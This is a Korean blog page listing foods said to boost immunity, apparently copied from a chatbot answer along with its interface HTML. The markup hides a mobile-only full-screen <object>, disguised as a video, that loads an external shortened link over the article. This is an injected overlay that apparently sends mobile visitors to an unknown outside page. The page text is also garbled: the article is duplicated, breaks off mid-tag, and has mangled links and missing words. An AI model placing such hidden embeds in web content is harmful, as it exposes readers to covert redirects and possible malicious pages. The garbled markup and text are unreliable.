면역력 저하 높이는 방법 좋은 음식

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c3571917390="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:16">면역력 강화에 좋은 음식</h2><p data-sourcepos="3:1-3:125">면역력은 외부의 바이러스나 세균으로부터 우리 몸을 보호하는 중요한 방어 시스템입니다. 면역력이 저하되면 각종 에 취약해지기 쉽습니다. 건강한 면역력을 유지하기 위해서는 균형 잡힌 식단과 규칙적인 생활습관이 필수적입니다.</p><p data-sourcepos="5:1-5:26"><strong>면역력 강화에 도움이 되는 대표적인 음식</strong></p><ul data-sourcepos="7:1-29:0"> <li data-sourcepos="7:1-11:0"> <p data-sourcepos="7:3-10:13"><strong>과일 및 채소:</strong> 비타민, 미네랄, 항산화 성분이 풍부하여 면역력 강화에 도움을 줍니다. 특히 비타민 C가 풍부한 과일(귤, 오렌지, 레몬 등)과 녹황색 채소(브로콜리, 시금치, 케일 등)는 면역력 증진에 적입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><image-carousel _nghost-ng-c3703011817="" class="ng-star-inserted"><single-image _ngcontent-ng-c3703011817="" class="carousel-image ng-star-inserted" _nghost-ng-c1321938624="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3b4aaa00f9959b4a&quot;,&quot;c_ff53e171ed42bc46&quot;,null,&quot;rc_3ea89aa746afb9f9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3b4aaa00f9959b4a&quot;,&quot;c_ff53e171ed42bc46&quot;,null,&quot;rc_3ea89aa746afb9f9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%B8%8C%EB%A1%9C%EC%BD%9C%EB%A6%AC"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="브로콜리 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS3ldpt2wXyXGs4ABAyKVXVuV3lTyxQPJgWiZsGVXLwaBy064wbVEWMDDmYjGbm"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><carousel-controls _ngcontent-ng-c3703011817="" overlay="" _nghost-ng-c4058035839="" class="ng-star-inserted"><div _ngcontent-ng-c4058035839="" class="auto-hide-side-arrows"><div _ngcontent-ng-c4058035839="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c4058035839="" class="carousel-dots"><div _ngcontent-ng-c4058035839="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c4058035839="" class="dot ng-star-inserted"></div><div _ngcontent-ng-c4058035839="" class="dot ng-star-inserted"></div></div><div _ngcontent-ng-c4058035839="" class="carousel-button-container previous swipeable-area"></div><div _ngcontent-ng-c4058035839="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c4058035839="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button mat-unthemed mat-mdc-button-base ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c4058035839="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c4058035839="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div></div></div></carousel-controls><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%B8%8C%EB%A1%9C%EC%BD%9C%EB%A6%AC" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3b4aaa00f9959b4a&quot;,&quot;c_ff53e171ed42bc46&quot;,null,&quot;rc_3ea89aa746afb9f9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 브로콜리 </div></div></single-image></image-carousel></response-element></div></p> </li> <li data-sourcepos="12:1-16:0"> <p data-sourcepos="12:3-15:15"><strong>버섯:</strong> 베타글루칸 성분이 면역 세포를 활성화시켜 면역력 강화에 도움을 줍니다. 표고버섯, 영지버섯, 상황버섯 등이 대표적입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><image-carousel _nghost-ng-c3703011817="" class="ng-star-inserted"><single-image _ngcontent-ng-c3703011817="" class="carousel-image ng-star-inserted" _nghost-ng-c1321938624="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3b4aaa00f9959b4a&quot;,&quot;c_ff53e171ed42bc46&quot;,null,&quot;rc_3ea89aa746afb9f9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3b4aaa00f9959b4a&quot;,&quot;c_ff53e171ed42bc46&quot;,null,&quot;rc_3ea89aa746afb9f9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://m.morenature.co.kr/board/magazine/read6.html?no=88559&amp;board_no=16"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="표고버섯 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQHHbIWvEyh_iMp52w3DLgglqBkjS4wF6rZdxM6e6tHF3Fb9oJXyEB5m62PjzSk"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><carousel-controls _ngcontent-ng-c3703011817="" overlay="" _nghost-ng-c4058035839="" class="ng-star-inserted"><div _ngcontent-ng-c4058035839="" class="auto-hide-side-arrows"><div _ngcontent-ng-c4058035839="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c4058035839="" class="carousel-dots"><div _ngcontent-ng-c4058035839="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c4058035839="" class="dot ng-star-inserted"></div><div _ngcontent-ng-c4058035839="" class="dot ng-star-inserted"></div></div><div _ngcontent-ng-c4058035839="" class="carousel-button-container previous swipeable-area"></div><div _ngcontent-ng-c4058035839="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c4058035839="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button mat-unthemed mat-mdc-button-base ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c4058035839="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c4058035839="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div></div></div></carousel-controls><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://m.morenature.co.kr/board/magazine/read6.html?no=88559&amp;board_no=16" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3b4aaa00f9959b4a&quot;,&quot;c_ff53e171ed42bc46&quot;,null,&quot;rc_3ea89aa746afb9f9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcRs3Pp8l_NsZxIHfygckFFNoQcklhUEbRJWbSXpfOz8100sEXEr1ht18jh32IQRwWgGxAM0pHoL3SVb0VV1Mn4welSTp0FFKzSxk0Wc"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">m.morenature.co.kr</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 표고버섯 </div></div></single-image></image-carousel></response-element></div></p> </li> <li data-sourcepos="17:1-19:0"> <p data-sourcepos="17:3-18:13"><strong>마늘:</strong> 알리신 성분이 강력한 항균 작용을 하여 면역력 강화에 도움을 줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3b4aaa00f9959b4a&quot;,&quot;c_ff53e171ed42bc46&quot;,null,&quot;rc_3ea89aa746afb9f9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%A7%88%EB%8A%98"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="마늘 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcRq2INcC-gonx38uWjMGAzd8m_Z1iL2NRRHYan7VlEPQnZa3s8pNq__LFgoI3q5"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%A7%88%EB%8A%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3b4aaa00f9959b4a&quot;,&quot;c_ff53e171ed42bc46&quot;,null,&quot;rc_3ea89aa746afb9f9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 마늘 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="20:1-22:0"> <p data-sourcepos="20:3-21:14"><strong>요거트:</strong> 프로바이오틱스가 장 건강을 개선하고 면역력 강화에 도움을 줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3b4aaa00f9959b4a&quot;,&quot;c_ff53e171ed42bc46&quot;,null,&quot;rc_3ea89aa746afb9f9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6972437"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="요거트 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQBAUGznxsiSiMtaj-t4oqr3p2yIW9fIgHIfCwKogWkXwyJThcJKw1R-nwoi6_K"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6972437" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3b4aaa00f9959b4a&quot;,&quot;c_ff53e171ed42bc46&quot;,null,&quot;rc_3ea89aa746afb9f9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 요거트 </div></div></single-image></response-element></div></p> </li> <li data-sourcepos="23:1-26:0"> <p data-sourcepos="23:3-25:13"><strong>견과류 및 씨앗:</strong> 비타민 E, 아연 등 면역력 강화에 필요한 영양소가 풍부합니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><image-carousel _nghost-ng-c3703011817="" class="ng-star-inserted"><single-image _ngcontent-ng-c3703011817="" class="carousel-image ng-star-inserted" _nghost-ng-c1321938624="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3b4aaa00f9959b4a&quot;,&quot;c_ff53e171ed42bc46&quot;,null,&quot;rc_3ea89aa746afb9f9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3b4aaa00f9959b4a&quot;,&quot;c_ff53e171ed42bc46&quot;,null,&quot;rc_3ea89aa746afb9f9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="견과류 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcRNxVLMXBTJGfUtYWmGYrluhJkDDZaeUjGycgg4KVCp5dkefl5wi8rrWI23095D"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><carousel-controls _ngcontent-ng-c3703011817="" overlay="" _nghost-ng-c4058035839="" class="ng-star-inserted"><div _ngcontent-ng-c4058035839="" class="auto-hide-side-arrows"><div _ngcontent-ng-c4058035839="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c4058035839="" class="carousel-dots"><div _ngcontent-ng-c4058035839="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c4058035839="" class="dot ng-star-inserted"></div></div><div _ngcontent-ng-c4058035839="" class="carousel-button-container previous swipeable-area"></div><div _ngcontent-ng-c4058035839="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c4058035839="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button mat-unthemed mat-mdc-button-base ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c4058035839="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c4058035839="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div></div></div></carousel-controls><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EA%B2%AC%EA%B3%BC%EB%A5%98" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3b4aaa00f9959b4a&quot;,&quot;c_ff53e171ed42bc46&quot;,null,&quot;rc_3ea89aa746afb9f9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 견과류 </div></div></single-image></image-carousel></response-element></div></p> </li> <li data-sourcepos="27:1-29:0"> <p data-sourcepos="27:3-28:13"><strong>생선:</strong> 오메가-3 지방산이 면역 세포의 기능을 활성화시켜 면역력 강화에 도움을 줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1321938624="" class="ng-star-inserted"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3b4aaa00f9959b4a&quot;,&quot;c_ff53e171ed42bc46&quot;,null,&quot;rc_3ea89aa746afb9f9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" ://happy.designhouse.co.kr/magazine/magazine_view/00010003/1605"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="생선 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQNKL812nT_zh1Q4j_V-F705beHiyXijpYpiuaFMAwf-U4_BO11ILt1AKHkn16I"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" ://happy.designhouse.co.kr/magazine/magazine_view/00010003/1605" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_3b4aaa00f9959b4a&quot;,&quot;c_ff53e171ed42bc46&quot;,null,&quot;rc_3ea89aa746afb9f9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn1.gstatic.com/-tbn?q=tbn:ANd9GcSnTwduMof7IoiCUk7_O7i-wBgaa_TQCnHJ6xkER_q1Z3VU0Xl-DxvKBazdUHsf3Toad4-tphTezed3_KIkGL-04bdegCTqQoxa1p9_Q_DKoA"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">happy.designhouse.co.kr</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 생선 </div></div></single-image></response-element></div></p> </li> </ul><p data-sourcepos="30:1-30:24"><strong>면역력 강화를 위한 식단 및 생활습관</strong></p><ul data-sourcepos="32:1-35:0"> <li data-sourcepos="32:1-32:59"><strong>균형 잡힌 식단:</strong> 탄수화물, 단백질, 지방을 골고루 섭취하고, 과일과 채소를 충분히 섭취합니다.</li> <li data-sourcepos="33:1-33:59"><strong>규칙적인 생활습관:</strong> 충분한 수면, 규칙적인 운동, 스트레스 관리 등을 통해 면역력을 유지합니다.</li> <li data-sourcepos="34:1-35:0"><strong>개인위생 관리:</strong> 손을 자주 씻고, 개인위생을 철저히 하여 감염병을 예방합니다.</li> </ul><p data-sourcepos="36:1-36:8"><strong>주의사항</strong></p><ul data-sourcepos="38:1-40:0"> <li data-sourcepos="38:1-38:34">특정 음식에 알레르기가 있다면 해당 음식은 피해야 합니다.</li> <li data-sourcepos="39:1-40:0">면역력 강화에 도움이 되는 건강기능식품을 섭취할 때는 전문가와 상담하는 것이 좋습니다.</li> </ul><p data-sourcepos="41:1-41:114"><strong>Disclaimer:</strong> 이 정보는 일반적인 건강 정보를 제공하기 위한 것이며, 의학적 조언을 대체하지 않습니다. 특정 이나 건강 상태에 대한 상담은 반드시 의사 또는 전문가와 상의하시기 바랍니다.</p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3d" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c3571917390="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:16">면역력 강화에 좋은 음식</h2><p data-sourcepos="3:1-3:125">면역력은 외부의 바이러스나 세균으로부터 우리 몸을 보호하는 중요한 방어 시스템입니다. 면역력이 저하되면 각종 에 취약해지기 쉽습니다. 건강한 면역력을 유지하기 위해서는 균형 잡힌 식단과 규칙적인 생활습관이 필수적입니다.</p><p data-sourcepos="5:1-5:26"><strong>면역력 강화에 도움이 되는 대표적인 음식</strong></p><ul data-sourcepos="7:1-29:0"> <li data-sourcepos="7:1-11:0"> <p data-sourcepos="7:3-10:13"><strong>과일 및 채소:</strong> 비타민, 미네랄, 항산화 성분이 풍부하여 면역력 강화에 도움을 줍니다. 특히 비타민 C가 풍부한 과일(귤, 오렌지, 레몬 등)과 녹황색 채소(브로콜리, 시금치, 케일 등)는 면역력 증진에 적입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><image-carousel _nghost-ng-c3703011817="" class="ng-star-inserted"><single-image _ngcontent-ng-c3703011817="" class="carousel-image ng-star-inserted" _nghost-ng-c1321938624="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[["r_3b4aaa00f9959b4a","c_ff53e171ed42bc46",null,"rc_3ea89aa746afb9f9",null,null,"ko",null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c171329121="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_3b4aaa00f9959b4a","c_ff53e171ed42bc46",null,"rc_3ea89aa746afb9f9",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EB%B8%8C%EB%A1%9C%EC%BD%9C%EB%A6%AC"><span _ngcontent-ng-c171329121="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1321938624="" class="image loaded" alt="브로콜리 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcS3ldpt2wXyXGs4ABAyKVXVuV3lTyxQPJgWiZsGVXLwaBy064wbVEWMDDmYjGbm"></span><span _ngcontent-ng-c171329121="" class="cdk-visually-hidden ng-star-inserted"></span></a><carousel-controls _ngcontent-ng-c3703011817="" overlay="" _nghost-ng-c4058035839="" class="ng-star-inserted"><div _ngcontent-ng-c4058035839="" class="auto-hide-side-arrows"><div _ngcontent-ng-c4058035839="" class="carousel-controls ng-star-inserted"><div _ngcontent-ng-c4058035839="" class="carousel-dots"><div _ngcontent-ng-c4058035839="" class="dot active ng-star-inserted"></div><div _ngcontent-ng-c4058035839="" class="dot ng-star-inserted"></div><div _ngcontent-ng-c4058035839="" class="dot ng-star-inserted"></div></div><div _ngcontent-ng-c4058035839="" class="carousel-button-container previous swipeable-area"></div><div _ngcontent-ng-c4058035839="" class="carousel-button-container next swipeable-area"><button _ngcontent-ng-c4058035839="" mat-icon-button="" aria-label="다음 슬라이드" class="carousel-button forward mdc-icon-button mat-mdc-icon-button mat-unthemed mat-mdc-button-base ng-star-inserted" mat-ripple-loader-uninitialized="" mat-ripple-loader-class-name="mat-mdc-button-ripple" mat-ripple-loader-centered="" jslog="182484;track:generic_click"><span class="mat-mdc-button-persistent-ripple mdc-icon-button__ripple"></span><div _ngcontent-ng-c4058035839="" class="nav-icon-wrapper"><mat-icon _ngcontent-ng-c4058035839="" role="img" class="mat-icon notranslate nav-icon google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="chevron_right" fonticon="chevron_right"></mat-icon></div><span class="mat-focus-indicator"></span><span class="mat-mdc-button-touch-target"></span></button></div></div></div></carousel-controls><a _ngcontent-ng-c1321938624="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EB%B8%8C%EB%A1%9C%EC%BD%9C%EB%A6%AC" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_3b4aaa00f9959b4a","c_ff53e171ed42bc46",null,"rc_3ea89aa746afb9f9",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1321938624="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1321938624="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1321938624="" aria-label=""></span></a></div><div _ngcontent-ng-c1321938624="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 브로콜리 </div></div></single-image></image-carousel></response-element></div></p> </li> <li data-sourcepos="12:1-16:0"> <p data-sourcepos="12:3-15:15"><strong>버섯:</strong> 베타글루칸 성분이 면역 세포를 활성화시켜 면역력 강화에 도움을 줍니다. 표고버섯, 영지버섯, 상황버섯 등이 대표적입니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><image-carousel _nghost-ng-c3703011817="" class="ng-star-inserted"><single-image _ngcontent-ng-c3703011817="" class="carousel-image ng-star-inserted" _nghost-ng-c1321938624="" jslog="181502;track:generic_click,impression;BardVeMetadataKey:[["r_3b4aaa00f9959b4a","c_ff53e171ed42bc46",null,"rc_3ea89aa746afb9f9",null,null,"ko",null,null,null,null,1,0]];mutable:true"><div _ngcontent-ng-c1321938624="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1321938624="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1321938624="" rel="noopener" 